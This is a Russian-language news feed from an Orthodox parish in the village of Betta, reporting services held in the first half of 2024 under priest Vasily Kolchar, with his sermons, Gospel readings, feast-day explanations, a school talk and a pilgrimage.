  В день праздника Вознесения Господня в храме совершена Божественная литургия

  Литургию совершил  настоятель храма иерей Василий Колчар 13 июня. Праздник Вознесения Господня празднуется на 40-й день после Пасхи и является переходящим. «Христос вознесен на небо, но Его тело и Кровь мы вкушаем почти каждый день. И Он ждёт отклика нашего сердца», — сказал отец Василий по окончании богослужения.

  Вознесение Иисуса Христа — один из двенадцати главных христианских праздников, хотя Евангелие посвящает ему всего несколько строк. На сороковой день после Своего Воскресения, собрав на Елеонской горе близ Иерусалима учеников, Христос «после беседования с ними, вознесся на небо и воссел одесную Бога» (Евангелие от Марка, глава 16, стих 19).

  После этой удивительной — радостной — разлуки со Христом апостолы вернулись в столицу Израиля — Иерусалим. Именно там спустя несколько дней на них сошел Святой Дух.До конца IV века Вознесение Господне и Пятидесятница были, по сути, единым праздником. Пятидесятницу отмечали не один день в году — это был целый период церковного календаря. Когда Пятидесятница стала самостоятельным праздником, отдельно стали отмечать и Вознесение. Первые упоминания об этом можно встретить у святителя Григория Нисского и в антиохийских проповедях святителя Иоанна Златоуста.

  В Неделю о слепом в храме совершена Божественная литургия

  В этот день мы слышим в храме Евангелие об исцелении слепорожденного. Об этом великом чуде повествует, и притом весьма обстоятельно, только один Евангелист Иоанн.

   

  Неделя о слепом — последняя перед праздником отдания Пасхи, когда богослужение совершается по особому пасхальному чину. С этого дня на Утрени начинают петь катавасию Вознесению Господню. По Триоди Цветной песнопения Недели о слепом указаны в течение трех дней, до среды отдания Пасхи. Канон и стихиры, посвященные чуду прозрения слепого, говорят об исцелении как телесной, так и душевной слепоты, когда мы молимся Господу и за себя самих, чтобы сподобиться получить истинное духовное прозрение.

  Господь и нашего тела касается, исцеляя наши расслабленные души.

  26 мая 2024 года, в Неделю 4-ю по Пасхе, о расслабленном, в день памяти преподобных Амфилохия, Макария, Тарасия и Феодосия Глушицких, настоятель храма Феодоровской иконы Богородицы иерей Василий Колчар совершил Божественную литургию .

  За богослужением были вознесены молитвы за архипастырей и пастырей гонимой Украинской Православной Церкви. Также были прочитаны особые прошения о крепости сил воинов и всех защитников Отечества нашего.

  Во время Литургии был прочитан евангельский отрывок об исцелении Иисусом Христом парализованного человека, болезнь которого продолжалась в течение тридцати восьми лет. Нам показано, как велика сила и любовь Господня, которая воистину побеждает всякое зло, всякий грех и дает радость там, где безысходная скорбь (Ин. 5:1–15).

  В день памяти святых Жен-мироносиц в храме совершена Божественная литургия

  Праздничное богослужение совершил настоятель храма иерей Василий Колчар 19 мая.

  По окончании литургии отец Василий поздравил прихожанок всех возрастов с праздником, напомнив подвиг женщин, которые были свидетельницами крестной смерти Спасителя и первые узнали о Его Воскресении.

  «Эти женщины пришли ко гробу, чтобы умастить тело Христа драгоценным миро, но были удивлены, что этого тела там не было. А ангелы возвестили им, что Он Воскрес. Можно прийти к разным рассуждениям, почему именно женщины оказались первыми, кто узнал благую весть, но я думаю, что по вере каждого ему дается. Мы видим, какое у них было желание побыть с Господом, даже зная, что Он мертв. Ради этой любви Господь им первым приоткрыл величайшую тайну Воскресения.

   

  Всех современных жен-мироносиц поздравляю с праздником — по сей день вы служите своим имением, как сказано в книге Деяний Апостолов — кто-то жертвует в храм средства, кто-то свои силы, кто-то и то и другое. Вы стараетесь исполнять заповеди Божьи, быть в мире со своими соседями, родственниками — это самое важное. И раз уж вы мироносицы, то дай Бог всем нести мир», — с такими словами обратился отец Василий ко всем.Каждая девочка, девушка и женщина получили из рук настоятеля красивую розу в честь праздника — это уже стало традицией на приходе. По окончании Литургии отслужили водосвятный молебен и панихиду по почившим сродникам.

  День Победы…..

  9 мая настоятель храма Феодоровской иконы Божия Матери иерей Василий Колчар, принял Участие в празднике посвященном Дню Победы в хуторе Бетта. В этом году мы отмечаем 79-ю годовщину победы нашей армии и нашего народа над нацистской Германией в годы Великой отечественной войне. Вновь и вновь мы ее отмечаем в дни празднования Церковью Светлого Христова Воскресения, в дни победы Спасителя над смертью и грехом, в дни Пасхи.

  Мы со смирением и благодарностью склоняем головы перед их мужеством, понимая, что без него нашей родной земли и нас сегодня могло бы и не быть. Они достойны того, чтобы наше поколение обеспечивало им все самое лучшее, уделяло особое внимание и помощь в достойном проведении их старчества.  Господь даровал мирное небо над головой и доброго здравия всем дорогим ветеранам и всем вам, братья и сестры.

  Радоница

  На девятый день после Пасхи, наступает необычный праздник — Радоница. Это торжество совершенно особого свойства — день, когда православные разделяют пасхальную радость с усопшими родственниками посещая их могилки на кладбище.

  «В Радоницу торжествует вся полнота Церкви, потому что сегодня мы вспоминаем усопших, которые ушли туда. И вот вместе с ними мы торжествуем, радуемся и друг другу творим пасхальную песнь: «Христос Воскресе!» Тем, кто здесь, и тем, кто там — усопшим. И они нам отвечают: «Воистину Воскресе!» уже оттуда, из небесного града».

  Неделя 2-я по Пасхе, апостола Фомы ( Антипасха)

  Сегодня, в Фомино воскресенье, божественную литургию  совершил настоятель храма иерей Василий Колчар.
  В пастырском слове батюшка напомнил историю Евангельских событий, послуживших причиной сегодняшнего праздника и сказал:
  – “Насколько же слаб человек, что разум его не может поверить в то, во что верит его сердце и не подчиняется ему! Мы хотим всё испытать и исследовать! Но после проверки это будет уже не вера, а доказательство. А Господь говорит “блаженны невидевшие и уверовавшие”! Помните – вера это главное!”       По окончании богослужения раздали Артос. 

   

  В храме совершено ночное Пасхальное богослужение

  В ночь с 4 на 5 мая, в праздник Светлого Христова Воскресения, священник Василий Колчар совершил Полунощницу, крестный ход, Пасхальную утреню и Божественную литургию.

  Светлый праздник пришли разделить многие жители  прихожане храма. На праздничной Литургии огласили Пасхальное послание Патриарха Московского и всея Руси Кирилла архипастырям, пастырям, монашествующим и всем верным чадам Русской Православной Церкви, а также послание Епископа Новороссийского и Геленджикского Феогноста.

  По заамвонной молитве отец Василий освятил Артос и поздравил молящихся с праздником Светлого Христова Воскресения.

  ХРИСТОС ВОСКРЕСЕ!

   

  Накануне Великой Субботы в храме совершен Вынос Плащаницы

  Накануне Великой Субботы в храме совершен Вынос Плащаницы

  Настоятель храма иерей Василий Колчар совершил Вечерню, во время которой в храм по традиции выносится Плащаница.

   

  Плащаница — это икона, изображающая Спасителя, лежащего во гробе. Обычно это большой плат (кусок ткани), на котором написан или вышит образ положенного во гроб Спасителя. Вынос Плащаницы и Чин погребения — это два важнейших богослужения, которые совершаются в Великую пятницу Страстной седмицы. Великая пятница — самый скорбный день в церковном календаре для христиан всего мира. В этот день мы вспоминаем Крестные страдания и смерть Иисуса Христа.

   

  Вынос Плащаницы совершается днем в пятницу на вечерне Великой субботы, в третий час дня Страстной пятницы — в час смерти Иисуса Христа на кресте (т.е. обычно служба начинается в 14.00 ч). Плащаницу выносят из алтаря и устанавливают в центре храма — во «гробе» — возвышении, украшенном цветами и умащенном благовониями в знак скорби о смерти Христа. На середину Плащаницы кладут Евангелие.

  В храме совершена Утреня с чтением 12-ти Страстных Евангелий

  Утреня Великой Пятницы должна совершаться ночью, но по традиции ее служат вечером Великого Четверга. За богослужением прочитываются двенадцать Евангелий о Страстях Христовых. Эти отрывки открывают нам полную картину страшных страданий Спасителя. Принято стоять в этот вечер с зажженными свечами в руках. После каждого чтения Евангелия хор с благодарением поет: “Слава долготерпению Твоему, Господи!”

   

  Служба длинная и для кого-то покажется утомительной, но это наше бодрствование со Христом, наше моление вместе с Ним в Гефсиманском саду.

  Неделя Ваи(Цветоносное Воскресенье)

  Литургию совершил  настоятель храма иерей Василий Колчар 28 апреля. По окончании богослужения батюшка освятил принесенные вербы — символ праздника в России, где не растет пальма.

  Вход Господень в Иерусалим вспоминают православные христиане в шестое воскресенье Великого поста.Многие надеялись, что Христос вступает в Иерусалим, чтобы положить конец унизительной римской оккупации, что Он взойдет на царский престол и восстановит иудейское государство в его былой славе и могуществе. Каково же было всеобщее удивление, когда Христос въехал в городские ворота не на боевом коне, как подобало бы грозному освободителю, а на обычном ослике. Так Господь еще раз показал, что Царство, которое Он желает установить, «не от мира сего»Со всех сторон раздается ликование: «Осанна! Благословен грядущий во Имя Господне, Царь Израилев!» («Осанна» значит «Спасай нас»). Все это, напомним, происходит после воскрешения Лазаря. Первосвященники после этого положили убить Его. «Первосвященники же положили убить и Лазаря, потому что ради него многие из Иудеев приходили и веровали в Иисуса. На другой день множество народа, пришедшего на праздник, услышав, что Иисус идет в Иерусалим, взяли пальмовые ветви, вышли навстречу Ему и восклицали: осанна! благословен грядущий во имя Господне, Царь Израилев!» (Ин. 12:10-13).

   Уже через несколько дней эти же люди, постилающие на пути Господа пальмовые ветви, будут кричать «Распни Его!» во дворе римского префекта Иудеи Понтия Пилата.

   Впереди нас ждет Страстная седмица, которая через страдания Христа ведет нас всех к Его Воскресению.

  Лазарева Суббота

  Богослуженая Литургия 27 апреля. По окончании литургии отец Василий совершил панихиду по усопшим.

  «Когда умирает кто-то из наших сродников, то мир становится серым, дела становятся неинтересными и все наше внимание сосредотачивается только на усопшем человеке. В лучшем случае христиане не предъявляют Богу ничего, в глубине души таится огонек доверия. В худшем случае мы предъявляем Богу — почему и за что это случилось?

  Вспоминая сегодняшнее Евангелие — стоило Лазарю умереть, как для Марфы и Марии все потухло. Марфа и Христу говорит — если бы Ты был здесь, не умер бы брат мой (Ин. 11:21). По сути это такой ропот, если не в прямом смысле, но в переносном. Мы верим, что воскреснем, как верили Марфа и Мария, но ум наш далеко от Бога…».

  В день памяти преподобной Марии Египетской в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 21 апреля. По окончании литургии отец Василий совершил  молебен пред иконой Божия Матери » Феодоровская».

  Пятое воскресенье — Неделя — Великого поста посвящено великой подвижнице, жизнь которой стала примером покаяния для многих поколений христиан. Подвиг преподобной Марии Египетской долгое время был достоянием иноков Иорданского монастыря, но однажды записанное патриархом Иерусалима Софронием житие стало доступно всем верующим.

  «О святой Марии Египетской можно сказать кратко: она была жительница Александрии, женщина дурной жизни, позор своих сограждан, соблазн, погибель. В какой-то день ей захотелось поклониться живоносному Кресту Господню, частица которого находилась в одном из храмов. И не думая о своей греховности, не думая о том, что по ее жизни у нее ничего общего нет с тем Богом чистоты и любви, Которому она хотела поклониться, она дерзновенно захотела войти в храм. Но какая-то сила ее остановила; каждый раз, как она приближалась к вратам, она была отброшена. И она пришла в ужас, и она обратилась к Матери Божией за помощью и за милосердием – и была допущена в храм. Но из храма она не вернулась к прежней позорной жизни; она ушла в пустыню и там провела, в неописуемом подвиге, в совершенном одиночестве, всю свою остальную жизнь до смерти; жизнь, которая не была жизнью бесплотного существа, но была поистине жизнью воплощенного духа, ожившего покаянием и благодатью», — митрополит Сурожский Антоний (Блум)

  

   Божественная Литургия в праздник Благовещения Богородицы и Приснодевы Марии

  «Днесь спасения нашего главизна и еже от века таинства явление». В этих словах тропаря праздника Благовещения Пресвятой Богородицы содержится объяснение глубины и значения этого великого события, как начала спасения, обещанного человечеству.

  Двунадесятый праздник Благовещения Богородицы отмечается 7 апреля, он на 9 месяцев отстоит от Рождества Христова и в 2024 году совпал с Неделей 3-й Великого поста, Крестопоклонной. В этой связи можно задуматься о том, что Крест – это не столь орудие казни, символ смерти и страданий, сколь крестное благовестие о том, что Христос на Кресте победил грех и даровал избавление всему человечеству. Эту мысль подчеркнул настоятель храма иерей Василий Колчар, обращаясь к прихожанам храма. А  также значению благой вести, которую услышала Пресвятая Дева Мария от Архангела Гавриила.

   Неделю 2-ю Великого поста, святителя Григория Паламы

  Вторая Неделя Великого поста, 31 марта в 2024 году, посвящена памяти святителя Григория Паламы. В храме совершена Божественная Литургия с молебным пением пред иконой Божия Матери «Феодоровская».

  За богослужением звучало евангельское повествование об исцелении расслабленного в Капернауме. В Церкви мы называем друг друга братьями и сестрами, и, считая таковыми своих ближних, мы призваны помогать им. Но какую помощь может оказать один человек другому? Накормить, утолить жажду, одеть, сказать доброе слово, посетить находящегося в болезни, немощи или узах… Вот, наверное, то малое, что человек может сделать своему ближнему. Однако эти вещи, которые можно назвать незначительными, в каких-то ситуациях могут быть важными. При определенных условиях они могут перевернуть сознание человека и изменить все направление его жизни. И тем не менее, учитывая постоянные потребности человека, помощь другому, брату или сестре во Христе, всегда ограничена нашим человеческим ресурсом. Однако все меняется, если мы подключаем веру и прибегаем к Божественным возможностями и ресурсам. Именно об этом говорится в сегодняшнем евангельском чтении. Четверо человек принесли своего друга к ногам Спасителя, и Господь, исключительно на основании веры друзей этого болящего, разбитого параличом человека, сначала простил ему грехи, а затем и даровал ему здоровье. Вот что может наша вера, когда мы обращаемся к Богу и прибегаем к Божиему всемогуществу! Дай Бог, дорогие братья и сестры, чтобы и мы, идя по жизни и будучи членами Церкви, помогали друг другу и заботились друг о друге не только на основании наших человеческих сил и возможностей, но чтобы мы помогали другим, обращаясь к Богу и прося Его о помощи друг другу.

  Таинство Елея

  Сейчас у всех православных верующих особое время – Великий пост, который продлится ещё почти две недели. В течение Великого поста в православных храмах совершается таинство соборования.

  Настоятель храма иерей Василий Колчар 30 марта совершил таинство соборования в храме Феодоровской иконы Божий Матери.

  Готовиться к соборованию нужно. Человек, ради которого оно совершается, должен всё зависящее от себя, чтобы исцелиться от болезни, сделать прежде, чем просить церковь сугубо помолиться за него.

  Но главная подготовка к соборованию заключается в том, чтобы жить церковно, то есть соборно – любить своё церковное собрание, быть в дружестве с людьми и Богом. Это как раз то, чего не хватает на сегодняшний день практически во всех церковных таинствах: личностности и соборности. А это таинство даже называется «соборование».

  Родительский день

  30 марта в Родительскую Поминальную Субботу в храме совершена Божественная Литургия.

  Чтобы не лишать усопших нашей соборной молитвы о них, Церковь установила три особых дня для их сугубого поминовения. Это субботы 2-й, 3-й и 4-й недель поста.

  В эти дни можно прийти на Литургию и молиться за усопших. То есть не просто подать записку об упокоении или заказать сорокоуст, а лично принять участие в общей молитве.

  Правда, в 2024 году таких дней будет два, т.к. вторая Родительская суббота (6 апреля) совпадает с днем предпразднства Благовещения Пресвятой Богородицы, поэтому заупокойное богослужение отменяется.

  Несмотря на название «родительские», в эти дни христиане молятся в храме обо всех почивших родственниках и единоверцах.

  В неделю Торжества Православия в храме совершена Божественная Литургия

  Первое воскресенье Великого поста в Церкви называется Торжеством Православия. В этот день в нашем храме совершена Божественная литургия.

  Мы говорим: «Господь Спаситель», – разумея, что Он Спаситель всех, а этот говорит: «Господь Спаситель мой». Кто говорит: «мой Спаситель», тот ощущает свое спасение, исходящее от Него. Ощущению же спасения сопредельно ощущение пагубы, из которой извлек спасенного Спасающий. Чувство пагубы жизнелюбивого по природе человека, знающего, что не может он сам себя спасти, заставляет искать Спасителя. Когда обретет Его и ощутит силу спасения, от Него исходящую, хватается за Него крепко и оторваться от Него не захочет, хоть бы лишали его за то самой жизни.

  Такого рода события в духовной жизни христианина не воображаются только умом, а переживаются самым делом. Затем, как вера его, так и сочетание со Христом становятся крепки, как жизнь или смерть. Такой только искренно взывает: «кто меня разлучит!» (Рим.8:35).

   

  Всенощное бдение

  На кануне Воскресного дня 23 марта в храме иконы Феодоровской Богоматери совершено всенощное бдение.

  Ин.20:19–31

   В тот же первый день недели вечером, когда двери дома, где собирались ученики Его, были заперты из опасения от Иудеев, пришел Иисус, и стал посреди, и говорит им: мир вам!

  Сказав это, Он показал им руки и ноги и ребра Свои. Ученики обрадовались, увидев Господа.

  Иисус же сказал им вторично: мир вам! как послал Меня Отец, так и Я посылаю вас.

  Сказав это, дунул, и говорит им: примите Духа Святого.

  Кому простите грехи, тому простятся; на ком оставите, на том останутся.

  Фома же, один из двенадцати, называемый Близнец, не был тут с ними, когда приходил Иисус.

  Другие ученики сказали ему: мы видели Господа. Но он сказал им: если не увижу на руках Его ран от гвоздей, и не вложу перста моего в раны от гвоздей, и не вложу руки моей в ребра Его, не поверю.

  После восьми дней опять были в доме ученики Его, и Фома с ними. Пришел Иисус, когда двери были заперты, стал посреди них и сказал: мир вам!

  Потом говорит Фоме: подай перст твой сюда и посмотри руки Мои; подай руку твою и вложи в ребра Мои; и не будь неверующим, но верующим.

  Фома сказал Ему в ответ: Господь мой и Бог мой!

  Иисус говорит ему: ты поверил, потому что увидел Меня; блаженны невидевшие и уверовавшие.

  Первоя седмица Великого поста совершено чтение Великого покаянного канона Андрея Критского

  Великое повечерие с чтением покаянного канона святого Андрея Критского настоятель храма иерей Василий Колчар

   

  Премудрой Церковью так устроено, что куль­ми­на­ци­ей пер­вых че­ты­рех дней Ве­ли­ко­го По­ста ста­но­вит­ся чте­ние за ве­чер­ним бо­го­слу­же­ни­ем по­ка­ян­но­го ка­но­на пре­по­доб­но­го Ан­дрея Крит­ско­го. Но если кто-то пропустил на этой неделе чтение канона, то еще раз он будет прочитан полностью в среду вечером на пятой седмице Четыредесятницы.

   

  «Сегодня в каноне Андрея Критского мы слышали фразу, всем знакомую, всем известную — «Сердце чисто созижди во мне, Боже». Она часто приписывается пророку Давиду, но мысль, которую изложил пророк Давид, была задолго до него — он лишь проанализировал, проработал и вложил ее в свои поэтические труды под названием «Псалтирь».

  Неделя сыропустная. Воспоминание Адамова изгнания. Прощеное воскресенье. Глас 8‑й. Блгв. вел. кн. Даниила Московского. Заговенье на Великий пост.

  17 марта настоятель храма иерей Василий Колчар совершил Божественную лЛитургию в день Прощенного Воскресенья.

  Неделя сыропустная, последнее воскресенье пред наступлением Великого поста, посвящена воспоминанию «Адамова изгнания».
  В конце вечерни совершается чин прощения. Эта вечерня имеет ряд характерных особенностей. Первая ее половина (до Вечернего входа) носит характер праздничный и совершается в светлом праздничном облачении.
  После вечернего входа и «Свете Тихий» поется особенно умилительным напевом Великий прокимен: «Не отврати лица Твоего от отрока Твоего, яко скорблю, скоро услыши мя: вонми души моей и избави ю». После пения прокимна сразу же закрываются царские врата, читается: «Сподоби, Господи», а священнослужители переоблачаются в великопостные одежды. Просительную ектению диакон произносит уже в черном облачении, и хор отвечает ему великопостным распевом. Дальнейшая служба носит великопостный характер.

  Вместо обычного отпуста принято читать молитву: «Владыко многомилостиве», как обычно читается весь Великий пост в конце великого повечерия.
  После этой молитвы обычно произносится слово о прощении обид, настоятель с земным поклоном испрашивает у верующих прощения «Благословите мя, отцы святии и братия, и простите ми, грешному, елика согреших в сей день и во вся дни живота моего словом, делом, помышлением и всеми моими чувствы». Сказав это, он земно кланяется народу. Все отвечают ему земным поклоном и говорят: «Бог простит тя, отче святый. Прости и нас, грешных, и благослови». Затем все с земными поклонами просят прощения друг у друга.

  День православной книги!

  11 марта 2024 г. Штатный священник Андреевского кафедрального собора города курорта Геленджик иерей Василий Колчар посетил школу 8.
  В беседе приуроченной к празднику «День православной книги » священник рассказал учащимся 5-класа о происхождении праздника, о первопечатнике Иоанне Федерове, о важности книги в Богослужении и повседневной жизни человека . Для наглядного пособия ученикам баюшка предоставил Евангелие на церковнославянском языке. Ребята задавали вопросы о появлении первых книг на Руси. В завершении встречи состоялся просмотр фильма о печати первой книги «Апостол».

  Паломническая поездка в Неделю Мясопустную

  10 марта в Неделю Мясопустную, во главе с настоятелем состоялась паломническая поездка прихожан храма Феодоровской иконы Божией Матери х.Бетта в кафедральный собор апостола Андрея Первозванного г-к Геленджик.
  Паломники приложились к храмовой святыне , частице мощей апостола Христова.
  Священник Василий Колчар рассказал об истории строительства собора,церковной жизни,убранстве иконографии храма. Присутствующие имели возможность воочию насладится красотой как храмового комплекса так и завораживающими видами Геленджикской бухты и прихрамовой парковой территории. Все пребывали в невероятном восторге и непередаваемом чудном впечетлении от поездки.

  25 февраля 2024 года

   Неделя о мытаре и фарисее. Глас 5‑й. Иверской иконы Божией Матери. Свт. Алексия, митр. Киевского, Московского и всея Руси, чудотворца.

  Свт. Мелетия, архиеп. Антиохийского. Свт. Мелетия, архиеп. Харьковского.

  В воскресный день Божественную Литургию совершил иерей Сергий Плужников. За богослужением читалось Евангельское зачало о мытаре и фарисеи:

  Лк.18:10–14 Два человека вошли в храм помолиться: один фарисей, а другой мытарь.

  Фарисей, став, молился сам в себе так: Боже! благодарю Тебя, что я не таков, как прочие люди, грабители, обидчики, прелюбодеи, или как этот мытарь:

  пощусь два раза в неделю, даю десятую часть из всего, что́ приобретаю.

  Мытарь же, стоя вдали, не смел даже поднять глаз на небо; но, ударяя себя в грудь, говорил: Боже! будь милостив ко мне грешнику!

  Сказываю вам, что сей пошел оправданным в дом свой более, нежели тот: ибо всякий, возвышающий сам себя, унижен будет, а унижающий себя возвысится.

  Неделя 37‑я по Пятидесятнице.  Попразднство Сретения Господня. Мц. Агафии. Иконы Божией Матери, именуемой «Взыскание погибших». Свт. Феодосия, архиеп. Черниговского

  Отец Василий по окончании литургии напомнил о Евангельском чтении за богослужением (Лк.19:1–10) и подчеркнул, что слова о мытаре Закхее уже готовят православных христиан к Великому посту. «Это говорит нам о том, что даже к самому грешному человеку придет Господь. Он постучит в его сердце, придет через ближнего, в виде жизненного обстоятельства — и обязательно достучится. И сердце откроется и человек увидит Бога.

  Суббота. Попразднство Сретения Господня. Прп. Исидора Пелусиотского.

  Блгв. вел. кн. Георгия (Юрия) Всеволодовича Владимирского. Прп. Кирилла Новоезерского

  Настоятель храма иерей Василий Колчар 17 февраля на кануне Воскресного дня ,в храме Феодоровской иконы Богоматери совершил Всенощное бдение.За Богослужением читалось Евангельское зачало от Луки (112).

  В первый же день недели, очень рано, неся приготовленные ароматы, пришли они ко гробу, и вместе с ними некоторые другие;

  но нашли камень отваленным от гроба.

  И, войдя, не нашли тела Господа Иисуса.

  Когда же недоумевали они о сем, вдруг предстали перед ними два мужа в одеждах блистающих.

  И когда они были в страхе и наклонили лица свои к земле, сказали им: что вы ищете живого между мертвыми?

  Его нет здесь: Он воскрес; вспомните, как Он говорил вам, когда был еще в Галилее,

  сказывая, что Сыну Человеческому надлежит быть предану в руки человеков грешников, и быть распяту, и в третий день воскреснуть.

  И вспомнили они слова Его;

  и, возвратившись от гроба, возвестили всё это одиннадцати и всем прочим.

  То были Магдалина Мария, и Иоанна, и Мария, мать Иакова, и другие с ними, которые сказали о сем апостолам.

  И показались им слова их пустыми, и не поверили им

  Неделя 36‑я по Пятидесятнице. Глас 3‑й. Перенесение мощей сщмч. Игнатия Богоносца.

  Свтт. Герасима, Питирима и Ионы, епископов Великопермских, Устьвымских.

  Прп. Лаврентия, затворника Печерского, еп. Туровского, в Ближних пещерах.

  Божественная Литургия  с молебеном Феодоровской иконы Божией Матери.

  Евангелие дня: Мф.15:21–28

   И изше́дъ от­ту́ду Иису́съ, отъи́де во страны́ Ти́рскiя и Сидо́нскiя.

  И се́, жена́ Ханане́йска, от­ предѣ́лъ тѣ́хъ изше́дши, возопи́ къ Нему́ глаго́лющи: поми́луй мя́, Го́споди, Сы́не Дави́довъ, дщи́ моя́ злѣ́ бѣсну́ет­ся.

  О́нъ же не от­вѣща́ е́й словесе́. И при­­сту́пльше ученицы́ Его́, моля́ху Его́, глаго́люще: от­пусти́ ю́, я́ко вопiе́тъ вслѣ́дъ на́съ.

  О́нъ же от­вѣща́въ рече́: нѣ́смь по́сланъ, то́кмо ко овца́мъ поги́бшымъ до́му Изра́илева.

  Она́ же при­­ше́дши поклони́ся Ему́, глаго́лющи: Го́споди, помози́ ми.

  О́нъ же от­вѣща́въ рече́: нѣ́сть добро́ отъ­я́ти хлѣ́ба ча́домъ и поврещи́ псо́мъ.

  Она́ же рече́: е́й, Го́споди: и́бо и пси́ ядя́тъ от­ крупи́цъ па́да­ю­щихъ от­ трапе́зы господе́й сво­и́хъ.

  Тогда́ от­вѣща́въ Иису́съ рече́ е́й: о, же́но, ве́лiя вѣ́ра твоя́: бу́ди тебѣ́ я́коже хо́щеши. И исцѣлѣ́ дщи́ ея́ от­ того́ часа́.

  Неделя 35‑я по Пятидесятнице. Глас 2‑й. Собор новомучеников и исповедников Церкви Русской

  4 февраля в день памяти собора Новомучеников и исповедников Церкви Русской в храме  совершена Божественная литургия.

  По окончании богослужения отслужили литию по всем усопшим, пострадавшим в годину гонений за веру Христову.

  Богослужение совершил настоятель храма священник Василий Колчар.

  В воскресенье 4 февраля мы обращаемся в молитве ко всем новомученикам и исповедникам Церкви Русской. Более 1700 прославленных святых, а также всех пострадавших во время советских гонений (около 130 000 священнослужителей, монахов и мирян), чтит Церковь в первое воскресенье февраля в 2023 году. Кроме того в этот день Церковь почитает апостола от 70-ти Тимофея Ефесского, преподобномучеников Анастасия Персянина и Анастасия Печерского, мучеников-епископов Мануила, Георгия, Петра, Леонтия, священномучеников Сиония, Гавриила, Иоанна, Леонта, Парода и прочих 377-ми, а также преподобного Макария Жабынского, Белёвского чудотворца. В первый воскресный день февраля особо вспоминают новомучеников Иоанна Успенского и Евфимия Тихонравова.

  Неделя 34‑я по Пятидесятнице. Глас 1‑й. Прпп. Павла Фивейского и Иоанна Кущника.

  Прп. Варлаама Керетского.

  28 января в храме совершена Божественная Литургия, по окончании которой был отслужен благодарственный молебен пред месточтимым образом Феодоровской иконы Божией Матери.

  Евангелие дня.

  Лк.18:18–27 (зач. 91).

   И спросил Его некто из начальствующих: Учитель благой! что мне делать, чтобы наследовать жизнь вечную?

  Иисус сказал ему: что ты называешь Меня благим? никто не благ, как только один Бог;

  знаешь заповеди: не прелюбодействуй, не убивай, не кради, не лжесвидетельствуй, почитай отца твоего и матерь твою.

  Он же сказал: все это сохранил я от юности моей.

  Услышав это, Иисус сказал ему: еще одного недостает тебе: все, что имеешь, продай и раздай нищим, и будешь иметь сокровище на небесах, и приходи, следуй за Мною.

  Он же, услышав сие, опечалился, потому что был очень богат.

  Иисус, видя, что он опечалился, сказал: как трудно имеющим богатство войти в Царствие Божие!

  ибо удобнее верблюду пройти сквозь игольные уши, нежели богатому войти в Царствие Божие.

  Слышавшие сие сказали: кто же может спастись?

  Но Он сказал: невозможное человекам возможно Богу.

   

   

  Всенощное бдение

  27 января на кануне 34 Недели по Пятидесятнице настоятелем храма было совершено Всенощное бдение под Воскресный день. За полиелем читался отрывок с Евангелия от Матфея зачало 116.

  Евангелие:

  Одиннадцать же учеников пошли в Галилею, на гору, куда повелел им Иисус,

  и, увидев Его, поклонились Ему, а иные усомнились.

  И приблизившись Иисус сказал им: дана Мне всякая власть на небе и на земле.

  Итак, идите, научите все народы, крестя их во имя Отца и Сына и Святого Духа,

  уча их соблюдать всё, что Я повелел вам; и се, Я с вами во все дни до скончания века. Аминь.

   

   

  Неделя 33‑я по Пятидесятнице, по Богоявлении. Глас 8‑й. Попразднство Богоявления. Прп. Георгия Хозевита.

  Божественная Литургия в Воскресный день.

  Евангелие дня:

   Мф. зач.8 . Услышав же Иисус, что Иоанн отдан под стражу, удалился в Галилею

  и, оставив Назарет, пришел и поселился в Капернауме приморском, в пределах Завулоновых и Неффалимовых,

  да сбудется реченное через пророка Исаию, который говорит:

  земля Завулонова и земля Неффалимова, на пути приморском, за Иорданом, Галилея языческая,

  народ, сидящий во тьме, увидел свет великий, и сидящим в стране и тени смертной воссиял свет.

  С того времени Иисус начал проповедовать и говорить: покайтесь, ибо приблизилось Царство Небесное.

   

   

  КРЕЩЕНСКИЕ ДНИ

  События праздника Крещения Господня возвестили всему миру тайну Святой Троицы.

  Во Иордане Крещающуся Тебе Господи…..В храме Феодоровской иконы Богородицы было совершено праздничное Богослужение с чином Великого освящения воды.

  Вода как святыня имеет важное место в жизни христианина,как на кануне праздника в Крещенский Сочельник так и на само Крещение Господне 19 января,воду освящали не только в храме но и на центральном пляже х. Бетта.

  Настоятель храма иерей Василий Колчар поздравил всех с великим двунадесятым праздником окропив  присутствующих Крещенской водой….

  

   

   

   

  ПРАЗДНИК ОБРЕЗАНИЯ ГОСПОДНЯ.ДЕНЬ ПРАЗДНЕНСТВА СВЯТИТЕЛЯ ВАСИЛИЯ ВЕЛИКОГО

  14 января в Воскресный день праздника Обрезания Господня и день памяти святителя Василия Великого,в храме была совершена Божественная Литургия  по чину свт.Василия Великого а также молебен пред образом Феодоровской иконы Богородицы.По окончании богослужения актив прихода от лица всех прихожан поздравил настоятеля храма иерея Василия Колчар с днем тезоименитства,днем его небесного покровителя.Сердечно пожелав батюшке крепкого здоровья,Божия помощи в делах прихода,и небесного предстательства свт.Василия Великого.

  Господь постоянно говорит о том, чтобы мы бодрствовали, следили за собой, несли свой крест борьбы с грехом и терпения скорбей, чтобы мы отвергались себя. Если Сам Господь ради нас был распят на кресте, сделался Агнцем Божиим, вземлющим грехи мира, если Он за нас пострадал, то и мы, христиане, должны же свой маленький крест понести и пострадать в борьбе с грехом для очищения себя, чтобы сделаться достойными войти не в какое-нибудь место, подобное земному, а войти в само Царство Божие, в общение с Господом, сделаться детьми Божиими. Но для этого нужно понести труд, нужно возлюбить Господа, необходимо благодарить Его, умолять Его, чтобы Он помог нам очиститься от своих грехов, дал бы нам силы понести свой крест до конца жизни. И подобно тому, как Господь с креста сошел во гроб, а затем воскрес, так и нам всем предстоит с креста пойти в гроб, чтобы перейти к Господу в вечное воскресение. Так должны мы в течение своей земной жизни отвергаться себя, обрезать от себя всякий грех, нести без ропота, с благодарностью, крест, который возложил на нас Господь, умолять Его, чтобы Он помог нам провести жизнь по-христиански, по-христиански умереть и наследовать Царствие Божие, уготованное всем истинным последователям Христа от создания мира, где все просветятся как солнце, неизреченной радостью Божественного Света.

  ВСЕНОЩНОЕ БДЕНИЕ

  На кануне праздника обрезания Господня 13 января,настоятель храма иерей Василий Колчар совершил Всенощное бдение.

  Евангелие дня:Ин.21:1–14 (зач. 66)

  После того опять явился Иисус ученикам Своим при море Тивериадском. Явился же так:

  были вместе Симон Петр, и Фома, называемый Близнец, и Нафанаил из Каны Галилейской, и сыновья Зеведеевы, и двое других из учеников Его.

  Симон Петр говорит им: иду ловить рыбу. Говорят ему: идем и мы с тобою. Пошли и тотчас вошли в лодку, и не поймали в ту ночь ничего.

  А когда уже настало утро, Иисус стоял на берегу; но ученики не узнали, что это Иисус.

